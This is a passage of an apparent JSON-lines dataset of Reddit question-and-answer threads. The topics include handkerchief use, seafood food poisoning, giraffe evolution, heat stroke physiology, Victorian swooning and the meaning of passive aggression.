gets ridiculous.\n\nAs for sanitary, I keep a bottle of hand sanitizer in my purse explicitly for this, but frankly, my hands get grosser when I use tissues because of leaking of breakage or what have you.\n\nI have a pack of them and just throw them all in the wash at the end of the week when I do my regular laundry.", "Handkerchiefs don't leave tiny shreds of themselves clinging to stubble.", "I actually had the opposite question in a discussion with my wife the other day. Both she and I carry a handkerchief in our coat pocket throughout the winter and we couldn't understand why more young people (late 20/early 30s) don't use them.\n\nThe most obvious benefit is you buy one or two and you're set (much like a dish towel vs paper towels). In addition to being less bulky to carry than a pack of kleenex, it never leaves residue in my facial hair, it never runs out if I have a day where my nose won't stop running, and I can simply throw it in the laundry whenever needed. \n\nTypically I use the handkerchief for a runny nose, not to blow a ton of snot. If I do need to use it for that in a pinch, I simply fold it in a way that the rest of the cloth is still usable for the rest of the day and I swap it out when I get home. ", "Because noses still run.\nEyes still water\nAnd sweat still...sweats", "I keep one in my purse and it's handy for cleaning my sunglasses (soft cotton won't scratch like wood pulp Kleenex), dabbing my eyes when they water, and blotting my t-zone if it gets oily.  Besides, it makes me feel ladylike and dainty.  I bought a yard of pretty fabric and practiced several hand-sewing hem edging techniques, so they look fancy and custom.\n\n", "Here's the reasons why I've always been a handkerchief user:\n\n1) In that split second when you know you're about to sneeze, the handkerchief can be pulled out of the pocket without tearing, or needing to be untangled from other tissues.\n\n2) A handkerchief never leaves me wondering if bits of tissue have flecked off against my stubble.\n\n3) A handkerchief doesn't disintegrate and ruin my clothes if I forget to check my pockets before using the washing machine.\n\n4) I have never managed to blow hard enough into a handkerchief to blow a hole and goo up my fingers.\n\n5) An unused handkerchief can sit in my pockets for days on end, without deteriorating like loose tissues.\n\n6) A well folded handkerchief sits flat in my jeans pocket, a plastic packet of tissues is loads thicker.\n\n7) The handkerchief is pleasingly soft on the nose.\n\n8) A clean handkerchief is handy for cleaning glasses... tissues scratch lenses.\n\n9) You can't kidnap someone using chloroform on a tissue.\n\nBut, all that said, it's about choosing the right tool for the job. If I have a cold I'll carry tissues. \n\nThe handkerchief is with me always but gets used rarely - I mean, how much snot do you guys produce? At home I use a tissue. So, on a daily basis the handkerchief mostly gets pulled out for a sneeze.\n\nObviously you throw it in the wash after use and chuck a clean one in your pocket.", "I have about a dozen that I cycle through. Though I don't use mine for blowing my nose, but to dab sweat, as I sweat a lot in my facial area during the summer time. They're also quite handy to offer to ladies when they've spilled something.\n\nThat's one thing my female friends always remember me by, a gentleman that always offers a lady that handkerchief when needed."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], [], [], [], [], [], []]}
{"q_id": "18cvdq", "title": "Why is Seafood far more susceptible to food poisoning than other food?", "selftext": "Just a general pondering i had. Why is Seafood far more susceptible to food poisoning than other foods? What is the actual scientific reason for this? and why are the worse cases of food poisoning with shellfish and other sea life?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/18cvdq/why_is_seafood_far_more_susceptible_to_food/", "answers": {"a_id": ["c8dqk50"], "score": [44], "text": ["HACCP training brought to fruition!\n\nWell, let's start by saying that the source of some poisonings don't necessarily source from the seafood itself.  Let's talk about shrimp.   One of the biggest problems with shrimp is [blackspot] (_URL_2_).  Blackspot is an enzymatic degredation causing black spots to appear on the body and is controlled often with the addition of sulfites to preserve the shrimp until it gets to the dock.  So after harvesting, they would be sprayed with the sulfites and brought down below  for storage.  Now, Blackspot is not harmful, more so that it looks bad for the buyer, but the sulfites might cause allergic reactions to humans that are sensitive to them.  So this is a good example of human- induced food hazards and also why there is a label on all shrimp packages that have their shrimp sprayed with sulfites.\n\nBut some of the biggest cases of seafood poisoning often source from the bivalves we eat, especially the oysters.  Oysters are a vector for Vibrio fulnificus which is a bacteria that can cause a very severe food poisoning.  This is a bacteria that proliferates among oysters in the warm months.  It is because of this bacteria that we say raw oysters are only safe to eat in the months that have an \"r\" in them.  May-August are bad months to be eating raw oysters.  *Edit:  As was pointed out below by opsomath, algae blooms can also contribute to paralytic shellfish poisoning via toxins produced by dinoflagellates of the genus Alexandrium.  This [wikipedia](_URL_1_) can point you to the 4 most common shellfish poisonings caused by biological agents.*\n\nShellfish tend to be benthic, all-eating organisms whereas fin-fishes tend to be trophically selective.  Shellfish pretty much can and do eat anything they can extract energy from.  Also, they are less mobile.  Thus they are on average more exposed to pathogens than conventional fin fish because they can't move away from infectious areas quickly.  \n\nMuch of the seafood, like the other meats, is tissue that we eat.  Dead tissue readily degrades to bacterial decomposition and so we must employ similar safeguards to seafood that we do for regular meat to prevent it from going bad.  However, the simplest explanation for the rapid decay is that seafood is not nearly exposed to the same bacteria that we have for terrestrial animals; the meat is much more sensitive to bacterial spoilage.  Thus it spoils much quicker than terrestrial meats.\n\nSpeaking of storage, storage of the meat after harvest was a big problem.  One of the best things to happen to fisheries and seafood was the development of the [\"at-sea processing ships\"](_URL_0_).  In ships with inadequate storage and processing ability, the meat quality degrades (even on ice) unless the catch was kept alive.  Swordfishermen stuffed their catch's carcasses with ice so that they kept them as fresh as possible for this reason.  But on these processing ships, the meat is processed, cut, and usually flash frozen to preserve quality and keep it safe.  Tuna and high value fisheries where meat quality can quickly degrade usually employ such big ships.  \n\nFinally, let's talk about bioaccumulated toxins.  Sea life lives in an environment where what's dissolved is what they drink/eat and absorb into their body.  So if fish and other aquatic organisms live in an environment with mercury, PCBs, DDT, and other chemicals, it will result in the eventual incorporation of these chemicals into their tissues either through direct exposure or, more commonly, consumption of exposed prey.  Thus, seafood can be toxic if you eat contaminated meat in large amounts.\n\nIn short, management practices dictate the safety of seafood for the consumer.  From the net of the fishermen to the plate of the chef, each stage of the journey our meat travels is exposed to possible sources of contamination, storage, and mishandling.  But what makes seafood safe is the freshness of the seafood, where it comes from, what it eats/was exposed to, and how it was handled at all stages."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://en.wikipedia.org/wiki/Factory_ship", "http://en.wikipedia.org/wiki/Paralytic_shellfish_poisoning", "http://www.seagrantfish.lsu.edu/program/Melanosis%20fact%20sheet.pdf"]]}
{"q_id": "1r7nvf", "title": "are those banner ads with ridiculous claims/prizes illegal?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1r7nvf/eli5_are_those_banner_ads_with_ridiculous/", "answers": {"a_id": ["cdkfu75"], "score": [6], "text": ["It depends on if a prize is actually available. Most all of them require you to sign up for trials and give out information. They can sell your personal information to pay for a prize and they can also get kick-bak money from the companies you sign up for trials with. If you sign up for enough trials and give out enough info, you earn a prize. But, because of all those trials which will be nearly impossible to cancel without getting charged, you essentially buy the prize yourself. \n\nEdit: Forgot to actually say why they're legal! They're legal because they aren't just offering a prize, they really have one available. They don't collect illegal information, selling information isn't illegal, and if the companies you sign up for screw you over, it isn't their problem. As long as they fulfill their end, which is giving you a prize after completing like 50 offers, they are well within the confines of the law."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "19wyzl", "title": "Giraffe evolution fossil record", "selftext": "One of the popular ID arguments is that we still have no transitional fossils for giraffes. I know that we have fossils for early giraffe ancestors with short necks, and long necked fossils. But do we have any \"middle neck\" fossils? If so, what are they?\n\nI know a complete evolution chain isn't realistic with so little remains actually being fossilized. But do we have a fairly good chain of fossils leading from short necked to long necked giraffes?\n\nGoogle just returns a bunch of ID misinformation, and the non-ID links don't actually show the fossils, just list some giraffe ancestors, so it's hard to get the facts.\n\nI'm a HS Physics teacher, but I try to be as armed as possible against ID misinformation of all sorts.", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/19wyzl/giraffe_evolution_fossil_record/", "answers": {"a_id": ["c8s308v", "c8s315k", "c8s6mcf"], "score": [40, 9, 21], "text": ["Firstly - even if there were a paucity of fossils for a given species that would not invalidate evolution as the evidence is overwhelming.\n\nSecondly, this is a matter than Darwin himself looked at:\n\n\"With animals such as the giraffe, of which the whole structure is admirably co-ordinated for certain purposes, it has been supposed that all the parts must have been simultaneously modified; and it has been argued that, on the principle of natural selection, this is scarcely possible. But in thus arguing, it has been tacitly assumed that the variations must have been abrupt and great\"\n\nThirdly, there are a number of animals that are likely to have been a transitional species of the giraffe or more likely sharing a common ancestor of the transitional species of the giraffe. \n\nSpecifically these animals:\n[Climacoceras]\n(_URL_3_), [Palaeotragus]\n(_URL_6_), [Samotherium]\n(_URL_2_), [Honanotherium](_URL_1_). \n\nFossils of all of these animals have been found in Africa (with the one exception of Honanotherium). There are some links to good sources [here](_URL_5_).\n\nThe prevailing theory is now that the neck evolution is due to mate sexual selection and not to colect food. See [this paper for example](_URL_4_)\n\n > \"Google just returns a bunch of ID misinformation\"\n\nYes having had a quick look there does seem to be a whole load of misinformation on this topic, rather depressingly.\n\nEdit: [This paper](_URL_0_) has a great deal of good information. Its abstract is as follows:\n\n > \"In the past few decades, many new discoveries have provided numerous transitional fossils that show the evolution of hoofed mammals from their primitive ancestors. We can now document the origin of the odd-toed perissodactyls, their early evolution when horses, brontotheres, rhinoceroses, and tapirs can barely be distinguished, and the subsequent evolution and radiation of these groups into distinctive lineages with many different species and interesting evolutionary transformations through time. Similarly, we can document the evolution of the even-toed artiodactyls from their earliest roots and their great radiation into pigs, peccaries, hippos, camels, and ruminants. We can trace the complex family histories in the camels and giraffes, whose earliest ancestors did not have humps or long necks and looked nothing like the modern descendants. Even the Proboscidea and Sirenia show many transitional fossils linking them to ancient ancestors that look nothing like modern elephants or manatees. All these facts show that creationist attacks on the fossil record of horses and other hoofed mammals are completely erroneous and deceptive. Their critiques of the evidence of hoofed mammal evolution are based entirely on reading trade books and quoting them out of context, not on any firsthand knowledge or training in paleontology or looking at the actual fossils.\"", "Every fossil is a transitional fossil.", "Here is an interesting Nat Geo video excerpt featuring Richard Dawkins that shows the evolution of the giraffe by examining the laryngeal nerve development. This may be along the lines you are looking for as an educational resource.\n\n_URL_0_\n\nEdit: spelling"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://link.springer.com/article/10.1007%2Fs12052-009-0136-1?LI=true", "http://en.wikipedia.org/wiki/Honanotherium", "http://en.wikipedia.org/wiki/Samotherium", "http://en.wikipedia.org/wiki/Climacoceras", "http://bill.srnr.arizona.edu/classes/182/Giraffe/WinningByANeck.pdf", "http://en.wikipedia.org/wiki/Giraffe#Taxonomy_and_evolution", "http://en.wikipedia.org/wiki/Palaeotragus"], [], ["http://www.youtube.com/watch?v=cO1a1Ek-HD0"]]}
{"q_id": "157zla", "title": "why are long songs \"album only\" on itunes, amazon, etc?", "selftext": "What purpose does the \"Album Only\" function serve?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/157zla/why_are_long_songs_album_only_on_itunes_amazon_etc/", "answers": {"a_id": ["c7k2d5n", "c7k2e2c", "c7k2uyz", "c7k3grq", "c7k3ywo", "c7k472u", "c7k49vw", "c7k4dxe"], "score": [6, 17, 8, 8, 5, 3, 2, 2], "text": ["Say there's an electronic album out there. It's a compilation and has 100 tracks on it. The last track is one big DJ mix which goes for 2 hours. It's not going to be on sale for $1.69 because people might buy it and just edit it into smaller songs.\nOther times, when it's a standard song, I don't know.", "Well especially with older albums like 2112 by Rush for example, the song 2112 literally took up half the album. Apple/Amazon doesn't like the fact that you just bought essentially half an album for 99c. Therefore you can only get the song with the whole album. Misc. legal crap might have something to do with it as well.", "This always pissed me off. I can understand the thinking - some albums are just one really long song, so only paying your 99c or whatever would be a bit cheeky. But hey, guess what! Apple aren't so keen on lowering the price if the song is very short: 'You Suffer', by Napalm Death, costs the standard 79p on the UK iTunes Store. Song length? 4 seconds.", "There's also some bands who don't want to sell their albums in single song form. It makes sense if you think about bands like Tool or The Mars Volta whose albums as a whole are an experience from first song to last. With this thinking, you would be cheating yourself if you only bought one or two songs.", "And they wonder why people pirate shit...", "It does make sense that longer songs shouldn't be the same price as a shorter song, but instead of forcing you to buy the whole album they should just raise the price for the song individually. When I bought Closer to Home on itunes, that song is 10 minutes long and most of the other songs in the album are 4 minutes. I think every song was at 99 cents, even the 2nd longest song at 7 minutes was 99 cents. But the 10 minute song was album only, and I would have rather just paid the price of two songs to get that one track than to buy the whole album that I won't listen to as much.", "A lot of artist sell exclusively on iTunes or make most of their revenue from iTunes, so making some songs album only encourages you to purchase the whole album instead if 1-2 sings. More songs bought= more revenue.", "On a concept album the songs are meant to be listened to in order and unbroken, this is art people.\nIn this example it's not really individual songs even though certain portions of the movement have different names it is still a part of a larger body of work.\nTo pull a piece of music out of context ruins the meaning the artist was going for.\n\n "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], [], []]}
{"q_id": "1oj3sf", "title": "If a perfectly spherical balloon expanded until it popped, what part of it would tear?", "selftext": "Imagine a balloon that is perfectly spherical, with no seams or tied off ends. Just a round, hollow piece of rubber that has uniform tensile strength. If the gas inside it were to expand to the balloon's breaking point, what would determine which part of the balloon gives way first?\n\nWould the answer be different if the balloon were in a vacuum and/or zero gravity environment?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1oj3sf/if_a_perfectly_spherical_balloon_expanded_until/", "answers": {"a_id": ["ccsg0ng", "ccsh9vl", "ccsja1u"], "score": [30, 18, 2], "text": ["Assuming the pressure throughout the balloon is perfectly uniform, and the rubber is perfectly uniform as well, all points on the inner surface of the balloon would reach their ultimate strength at the same time.  The inner surface would pretty much disintegrate, but the tiny pieces would remain bonded to the surface above it. This would cause the stress on the next surface to increase as well, and it would disintegrate too.  This would continue until the balloon fully disintegrates.  The end result would be a mass of tiny, uniform rubber pieces.  Kind of like balloon confetti.\n\n~~Edit:  Okay, this isn't factoring in gravity.  Since the pressure at the bottom is ever so slightly higher than the pressure at the top in a gravitational field, due to the weight of the gas, the bottom point will fail first.  The balloon will rip into a bunch of tiny little strings at that point, and all the air will be forced out through there.  The end result would look kind of like a jellyfish.  This won't change in a vacuum, because the pressure difference is the only thing that matters.~~\n\nDouble Edit:  Never mind, gravity won't affect the scenario at all if the balloon is in free fall.  See [here](_URL_0_) for an explanation.", "I would think that eventually instabilities would develop and even very small nonuniformities would expand to tear the balloon in a seemingly random place.  Here is a paper I found: _URL_0_ It says it concerned mainly with \"the inflation of internally pressurized spherical rubber thin shells (balloons).\"\n\nI haven't read the entire paper yet, but one interesting thing they mention in the introduction is that rubber has some interesting non-linear properties so at some point there will be a \"limit point instability\".  At this point there is a local maximum in the pressure inside the balloon and further increase in the volume results in a decrease in pressure.  Past this point you will no longer need to inflate the balloon it will expand on its own untill it breaks.", "You can't have breakage in any material without some (however small) chaos entering in.  For example if you wanted to simulate this question using a computer, using the parameters given, you would just get a uniform stress mapping across the sphere.  What you have to do to answer the question is make an assumption that there will be a *starting point* to the failure.  In most geometric cases the starting point can be ascertained by geometry, but in this case the geometry is uniform.  \n\nSo here there is a uniform probability that there is a failure point, somewhere on the surface of the balloon, when the skin reaches its ultimate strength uniformly.  At this random point, you will see a micro-crack form, through which air will escape due to the pressure inside the balloon.  This will cause an unbalance in the system, (and relieve pressure from the rest of the sphere) which may either cause rapid catastrophic failure from the same crack, or just slowly fizzle out of the same crack, probably depending on the size of the balloon, and pressure of the gas inside, and resulting turbulence inside due to the air escaping."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.reddit.com/r/askscience/comments/1oj3sf/if_a_perfectly_spherical_balloon_expanded_until/ccsmesi"], ["http://vsgc.odu.edu/src/SRC07/SRC07papers/Landon%20Kanner%20-%20vsgc07_paper_kanner.pdf"], []]}
{"q_id": "162vw9", "title": "how does grooveshark play whatever song you want for free while pandora requires you to listen to radio stations with mandatory commercials?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/162vw9/eli5_how_does_grooveshark_play_whatever_song_you/", "answers": {"a_id": ["c7s7no0", "c7sa1tq", "c7skpxk"], "score": [26, 5, 3], "text": ["Pandora operates completely legitimately, while Grooveshark technically does not.  Grooveshark has been involved in the occasional lawsuit, and more will likely come.  Its more a matter of the fact that Grooveshark has remained more under the radar, and with so many different sources of what may be called copyright infringement on the internet, it takes massive popularity for one roll into the spotlight enough so that it is targeted specifically by the RIAA or whoever else may be involved.", "Also note that you don't need to listen to commercials on Pandora if you use something like Elpis or Pianobar. Also unlimited skips! But if you do use this, since you aren't supporting Pandora, please think about buying Pandora One, it's cheap and really helpful to their cause :D\n\n_URL_0_\n\n_URL_1_", "Grooveshark uses the youtube model.  It says \"Don't upload copyrighted material ;)\", everyone uploads copyrighted material, but Grooveshark doesn't do anything until they actually get a take-down notice by the copyright holder."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://www.adamhaile.net/projects/elpis/", "http://6xq.net/projects/pianobar/"], []]}
{"q_id": "o8irn", "title": "During a heat stroke, why does a person's pulse rate increase but blood pressure decrease?", "selftext": "I'm doing a case study on dehydration and heat strokes and one of the questions asks \"Why was Mark\u2019s blood pressure so low? Would his pulse rate decrease or increase? Please explain. Why was Mark dizzy and disoriented?\". \n\nI did some research and found that during a heat stroke, one's pulse rate increases but no where could I find an explanation for that or why blood pressure is low. ", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/o8irn/during_a_heat_stroke_why_does_a_persons_pulse/", "answers": {"a_id": ["c3fakif", "c3fbq92"], "score": [3, 4], "text": ["Heat stroke is characterized by extreme dehydration, or put another way there simply isn't enough fluid in the blood vessels to maintain pressure. Pulse rate is high because the brain, perceiving decreased pressure in the aortic arch and in the carotid bodies, is causing increased sympathetic autonomic acitivity, which includes increasing the heart's cardiac output. Cardiac output is made up of the contractility (i.e., how hard the heart is contracting) and the heart rate. Both can be increased during sympathetic activity. While heart rate is up to increase perfusion of distal organs such as the brain, after a certain point contractility can no longer dramatically increase the pressure of what little fluid is left.", "Fundus' explanation is incomplete and partly incorrect and pertains to dehydration.\n\nHeat stroke, or illness, is defined as having a very high body temperature + associated conditions. \n\nThe reason why blood pressure decreases: thermoregulation in hot temperatures is maintained in part by vasodilatation. Peripheral blood vessels increase in diameter to lose heat by convection/conduction. This peripheral dilatation reduces blood pressure.\n\nAs blood pressure decreases, to maintain correct blood perfusion necessary to the correct function of the the heart/brain/kidney/liver, heart rate has to increase to compensate for this blood pressure diminution.\n\nFurthermore, loss of water by sweating causes dehydration and loss of blood volume, thus worsening the already present hypotension."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "cvigov", "title": "what is wow classic? why is there so much hype? is it free?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/cvigov/eli5_what_is_wow_classic_why_is_there_so_much/", "answers": {"a_id": ["ey4ec3p", "ey4fbx4", "ey4g0cr"], "score": [5, 13, 2], "text": ["WoW expansions have removed areas of the original game map, instead of just adding in extra content. So you can't experience that removed content as a new player, or replay it by starting a new character.\n\nThere's so much hype because of all the nostalgia value, and people have been requesting it for a long time. A lot of time what peoples wants don't necessarily mean something is commercially viable, so Blizzard has been holding off on making this a thing. Them trying to maximize their profit, plus the nostalgia value means hype.\n\nIts not free, but is available at no additional cost if you already have a regular WoW subscription.", "The hype is mainly from people who did not play during vanilla/burning crusade. Their bubble will be very quickly burst once they realize how hard vanilla WoW was.\n\n & #x200B;\n\nVanilla WoW was modeled far more on its predecessor, Everquest, since most of the devs played it and some had a direct hand in its development.\n\n & #x200B;\n\nThis means three major things:\n\n & #x200B;\n\n1. A huge emphasis on social interaction\n2. Punishing mechanics\n3. Mind-numbing grinds\n\n & #x200B;\n\nNow, WoW did away with some of the more annoying parts of EQ, like potentially losing everything on your character if you die in a bad place. But it kept the main mechanic of killing mobs to level up, and not questing. Vanilla WoW had very sparse quests, and nowhere near enough to get to max level effectively. The main way to level was to group up and kill mobs for hours on end. In the same place. Soloing was very ineffective, even with a class that could do it proficiently.\n\n & #x200B;\n\nThe world was filled with far more danger, many of the places that nowadays are cakewalks used to be death-traps only enterable with a group of players, and this is where most quest objectives were located.\n\nThe grind also comes from a concept known as \"flagging\". In old MMORPG end game, you just didn't hit max level and enter a raid. You completed many steps in along quest, some of these involving the completion of a predecessor raid, which required \"backflagging\", usually involving killing world bosses(with real-world week spawn timers) to get your character \"flagged\" to be able enter it, either with a key or just a special variable on your character. This means two things: Contested spawns were a huge deal, guilds would be highly competitive over these world spawns to get the \"tag\" first and get their group credit for it. In EQ, this just meant dealing enough damage to it compared to the other group, WoW had raids since the start that allowed only the current riad tagged for it to be able to get the credit.\n\n & #x200B;\n\nIt also means you have to have 40 people complete the quest to be able to complete the content. If one person quits or disappears, you have to take one person through the entire process again.\n\n & #x200B;\n\nThis is highly simplistic of the sheer misery of old school MMOs. I look upon my time in EQ and vanilla WoW fondly, but I do not ever want to do that again, mainly because I have an adult life now, and those types of mechanics require total commitment.", "Basically the game has been significantly changed over the course of the last 15 years with seven expansion packs. After this many expansions, the game is totally different from what it used to be, and many players are dissatisfied and prefer the old game how it used to be. Although this might just be nostalgia, and people only remembering the good times and not the shitty parts."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "3co7gc", "title": "given the historical close ties between the three nations, why did australia embrace traditional british sports like rugby, football and cricket but canada did not?", "selftext": "I'm talking about mainstream popularity, I appreciate that there are teams playing all these sports in Canada but not to the extent as Australia.", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/3co7gc/eli5_given_the_historical_close_ties_between_the/", "answers": {"a_id": ["csxdfqq", "csxdutn", "csxeab5", "csxf0l2", "csxf36r", "csxshb2", "csy5te7"], "score": [6, 87, 3, 13, 8, 3, 2], "text": ["Canada has closer ties to the United States from a cultural perspective.  yes, they and Australia share common language and history of being a commonwealth but over time the geographic proximity the the US plays a larger role than then what country you came from.\n\nI would argue that the legal systems and setup of government of similar countries tend to remain the same while culture is more fluid and easily changed.", "I'm pretty sure that climate would be one of the reasons.  When you are frozen over half the year, you have to find some other sports - hence the popularity of hockey.\n\nIndigenous populations in Canada played lacrosse so that got folded in too.\n\nThen you add in French culture to the mix and you have a more broad base to draw from, rather than just British culture.", "The popular sports in Canada (hockey, baseball, basketball, football) are sports that developed long after Canada's historical ties with the UK had faded relative to their intensely close cultural relationship with the USA. These sports developed in Canada and the US together. Geography trumps historical ties because it's way easier for teams to travel around North America than it is for them to fly out to the UK or Australia.", "Canada moved into a new neighborhood and has a neighbor who holds a lot of fun parties with new games.\n\nAustralia moved into the country.  ", "Rugby evolved into Canadian football in the [early 1860s](_URL_1_) and then [American football in 1869](_URL_0_). ", "Australia hadn't really embraced football until very recently, and much of the groundwork for that was done by Croatian, Turkish and Greek immigrants rather than the Aussie Rules/Cricket/Rugby loving descendents of Brits and Irish. The top professional league (A-League) is only 10 years old (next month, I think).\n\n", "I think part of the reason football (soccer ) and rugby lost popularity here in Canada was the weather. Hockey was able to be played outside in winter time and the oldest parts of Canada have long winters.\n\nIt's this same logic that made hockey popular in other cold countries. (Russia, Finland and Sweden are equally crazy about it)"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], ["https://en.wikipedia.org/wiki/American_football", "https://en.wikipedia.org/wiki/Canadian_football"], [], []]}
{"q_id": "b0xfw8", "title": "Did women really used to swoon?", "selftext": "I was just watching something about the interwar period (Time Ghost Between 2 Wars) and the host mentioned something about women allegedly swooning at the very mention of one particularly handsome actor's name.\n\nPresumably, women did not swoon over just one man's name, but was women swooning something that really happened? ", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/b0xfw8/did_women_really_used_to_swoon/", "answers": {"a_id": ["eii91j5"], "score": [58], "text": ["There is certainly more to be said, but you may be interested in an answer I wrote previously to [How did fainting in the Victorian era become so gendered? What social conventions led to the loss of consciousness to be so strongly identified with women?](_URL_0_)\n\nTo a certain extent, this may be biological - even today, it's noted in medical studies that women have a higher tendency to pass out. \"[Fainting, emancipation and the \u2018weak and sensitive\u2019 sex](_URL_1_)\" (van Dijk and Weiling) in the *Journal of Physiology*, 2009, sifts through a number of physiological differences between men and women that could play a part but ultimately makes no definite conclusion on the matter.\n\nHowever, the use of losing consciousness in fiction isn't necessarily an accurate representation of how often women fainted in real life. In 18th century sentimental novels, female characters often lose consciousness due to the overwhelming feelings produced by stressful events as an authorial tool to a) keep the heroine from being able to leave the situation or protect herself and b) demonstrate her sensibility (that is, sensitivity to emotion). In Richardson's *Pamela*, for instance, Pamela faints repeatedly when being assaulted, which shows her horror at premarital sex - laudable to the intended audience - and also gives her assaulter/future husband Mr B a chance to show his respect by not raping her while she's passed out. You have to look at 19th century fiction in context as the bearer of this legacy rather than just depicting the reality of syncope. (Also consider the comedic trope in modern-day fiction of people fainting when surprised.) Writers also made a significant number of references to women deliberately pretending to faint/be ill in order to gain sympathy or have the appearance of delicate sensibilities.\n\nThis bled into real life, in the case of women giving testimony about crimes perpetrated against them in court. A victim of rape had to have been continually fighting throughout the act for the court to convict a man in Victorian England (which many thought would make the rape impossible to achieve anyway) - or she had to have fainted when attacked and then raped while senseless. Victims in court frequently related that they had struggled to the point of exhaustion and then fell unconscious in order to satisfy both elements. Women who had been assaulted but managed to get away before being raped also described themselves as fainting afterwards, without apparently having struggled to the point of exhaustion. Fainting was essentially a part of the narrative built by the victim/defense, not necessarily consciously, to prove that they were the right kind of women.\n\nI'm sorry that I've kind of hit at your question from the side, which I didn't realize I was doing until it was done. In terms of popular perception, it seems to come back to the sentimental novels/novels of sensibility of the second half of the 18th century. Both male and female characters in them could have sensibility and faint, but most frequently the focus was on the swooning of the heroine, which made losing consciousness an admirable show of delicacy, and delicacy was an important aspect of middle- and upper-class Victorian womanhood.\n\nI don't believe corsets have much to do with it. I'm not aware of any studies that actually prove a link between corsetry and fainting, even after dancing or exercise, and my personal experimentation doesn't bear it out.\n\nFurther reading:\n\n*\"She Fell Senseless on His Corpse\": The Woman of Feeling and the Sentimental Swoon in Eighteenth-Century Fiction,* Ildiko Csengei, Cambridge University\n\n*Faint or Feint?: Literary Portrayals of Female Swooning in the Eighteenth Century*, Boram Kim\n\n*The Culture of Sensibility: Sex and Society in Eighteenth-Century Britain*, G. J. Barker-Benfield (1992)\n\n\u2018Under Cross-Examination She Fainted\u2019: Sexual Crime and Swooning in the Victorian Courtroom, Victoria Bates, *The Journal of Victorian Culture* (2016)"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www.reddit.com/r/AskHistorians/comments/5a0pyc/how_did_fainting_in_the_victorian_era_become_so/d9d5am5/", "https://www.ncbi.nlm.nih.gov/pmc/articles/PMC2727011/"]]}
{"q_id": "58ny8x", "title": "what does it mean to be passive aggressive?", "selftext": "No matter how often I look it up I just can't seem to get what it means. I don't know why I can't comprehend this. ", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/58ny8x/eli5_what_does_it_mean_to_be_passive_aggressive/", "answers": {"a_id": ["d91w87h", "d91wfwt", "d91wl8m", "d924d0v", "d92fgxc"], "score": [95, 6, 10, 8, 5], "text": ["You have a roommate who never cleans up the microwave after making a mess. Your options:\n\n**Passive:** You don't do or say anything to him about it. You just quietly clean up the mess yourself.\n\n**Aggressive:** You openly confront him about it. This doesn't necessarily mean \"aggressive\" in a belligerent sense, but you do bring it up as an issue and attempt to convince him to change his behavior.\n\n**Passive-Aggressive:** You attempt to get him to change his behavior without confrontation, using indirect or subtle methods. Maybe you'll wait until he's in the kitchen and then open the microwave and make a loud sigh. Maybe you'll mutter about it being a mess just loud enough for him to hear you. Maybe you'll talk to someone else about it on the phone but with him in ear-shot. Maybe you'll make a thread about it on reddit knowing that he'll eventually read about it. Maybe you'll leave a note on the microwave.\n\nPassive-aggression is trying to use passive methods to avoid confrontation while still at the same time trying to resolve an issue you have with someone else.", "Being passive aggressive means that rather than coming out and directly indicating some negative feeling towards a person you instead indicate your negative feelings through some indirect method that is nevertheless arguably nastier and definitely more petty than the direct approach. \n\nExample:\n\nJohn and Jim are roommates. John thinks Jim does not do his share of the chores, especially washing the dishes.\n\n >  Aggressive aggressive approach:\n\n\"Jim wtf is wrong with you, either wash the fucking dishes or I swear to God I will drown you in the sink.\"\n\n >  Normal, sensible approach\n\n\"Hey, Jim, I was thinking maybe we could set up a chore-sharing system. We might both save time and we'd both only do the chores we like and avoid the ones we hate.\"\n\n >  Passive aggressive approach\n\nJohn begins washing only washing dishes that he, personally has used; additionally, he occasionally moves some of the dirty dishes closer and closer to Jim's stuff. He may also do things like bring over people who are attractive / desirable to Jim and while mostly saying nice things about Jim pointedly bring up Jim's slobbishness in the kitchen while saying things like \"Oh well, Jim's a good guy. No one's perfect\" right in front of Jim.", "Someone is being passive aggressive when they are angry or upset at someone else, but rather than addressing the issue they avoid it while doing a lot of small things to indicate that they\u2019re displeased or to annoy the other person. \n\nFor example, say you forget your girlfriend\u2019s birthday. She\u2019s clearly upset about it, but says \u201cthat\u2019s okay\u201d then ignores the issue. Then she doesn\u2019t show up at a date and you call her and she says \u201cOh, I\u2019ll be right there \u2013 I *forgot* about it.\u201d You ask if she\u2019s still mad about forgetting her birthday and she says unconvincingly \u201cNo, why would I be mad?\u201d Then she texts on her phone the whole time and is clearly annoyed, but won\u2019t address why.\n\nThat\u2019s passive aggressive because the girlfriend is displaying aggression (purposely upsetting or angering the boyfriend) in a passive manner that refuses to acknowledge she\u2019s upset.", "\"Most ELI5s can be answered with a quick Google search\" would be a passive aggressive comment.  It's being rude without being directly rude.", "The comments here are all accurate IMO, but they're also missing something I think is important, which is that passive aggression is neither always the wrong thing to do nor always the right thing to do. This might sound obvious, but people use \"you're being passive aggressive\" as an insult so often that I sort of grew up thinking that it was always better to either just be directly aggressive about something or just ignore it altogether. Sometimes things just aren't worth openly mentioning, especially when someone else 